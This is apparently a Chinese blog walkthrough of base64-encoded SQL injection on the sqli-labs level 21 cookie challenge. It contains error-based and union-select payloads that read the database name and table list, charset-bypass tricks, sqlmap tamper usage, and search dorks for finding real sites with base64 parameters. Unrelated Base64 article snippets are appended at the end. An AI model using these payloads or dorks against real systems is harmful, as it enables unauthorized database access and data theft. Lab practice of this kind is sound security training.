SQL注入之BASE64變形注入

2021-09-26 18:52:56 字數 2145 閱讀 2644

什麼是base64注入?

base64注入是針對傳遞的引數被base64加密後的注入點進行注入。除了資料被加密意外,其中注入方式與常規注入一般無二

編碼工具選擇也可以使用burp中自帶的編碼模組(decoder)

如何發現此漏洞?

在網際網路系統中,目前遇到兩種base64加密傳參方式

第一種,例如id=1,把id=1全部加密處理,得到awq9mq==,直接搜尋inurl:?awq0

第二種,只處理傳參值,得到id=mq==,搜尋inurl:?id=m*=

靶場選擇

此處繼續選用sqlilabs作為測試靶場,第21關,是關於cookie的base64變形注入

漏洞復現

開啟靶場所在url,是乙個登入介面輸入使用者名稱密碼,admin/666666,登陸成功,介面如下圖

從上圖可以看到,系統返回了我們的cookie值,並且進行了編碼,這裡我們可以使用抓包修改cookie,經過解碼,ywrtaw4 =

的值是admin,對admin'進行編碼,觀察頁面變化,如下圖

嘗試閉合原語句,payload:admin')#,如下圖

由於這裡發生mysql報錯,直接嘗試報錯注入,payload:admin') and updatexml(1,concat(0x7e,database()),1)#,如下圖

convert() 函式是把日期轉換為新資料型別的通用函式。

大致poyload如下

union select 1,2,3,4,5,6,7,convert(table_name using latin1) from information_schema.tables where table_schema=database()--+

參考文章:

there are 3 ways to bypass this error:

convert(version() using latin1)

aes_decrypt(aes_encrypt(version(),1),1)

unhex(hex(@@version))

other ways (thanks to benzi):

cast(version()+as+binary)

convert(version(),binary)

convert(version()+using+binary)

sqlmap

原則上,只要抓包加上–tamper base64encode擴充套件模組就可以了,未實驗

第二個姿勢,針對get型,可以嘗試寫乙個demo

命名為test.php,如下

<?php 

$id = base64_encode("id=".$_get['id']);

echo file_get_contents("");

?>

sqlmap-u "" -v3
參考文章:

暫時這些吧

資訊加密之Base64

base64是一種最簡單的簡單的加密形式,經常被使用,記錄一下,以便日後可以深入了解。jdk格式 獲得金鑰 base64encoder encoder new base64encoder 加密 string encoder jdk encoder.encode src.getbytes system...

資訊加密之Base64

base64是一種最簡單的簡單的加密形式,經常被使用,記錄一下,以便日後可以深入了解。jdk格式 獲得金鑰 base64encoder encoder new base64encoder 加密 string encoder jdk encoder.encode src.getbytes system...

Android資料加密之Base64編碼演算法

前面學習總結了平時開發中遇見的各種資料加密方式,最終都會對加密後的二進位制資料進行base64編碼,起到一種二次加密的效果,其實呢base64從嚴格意義上來說的話不是一種加密演算法,而是一種編碼演算法,為何要使用base64編碼呢?它解決了什麼問題?這也是本文 的東西?其他幾種加密方式 base64...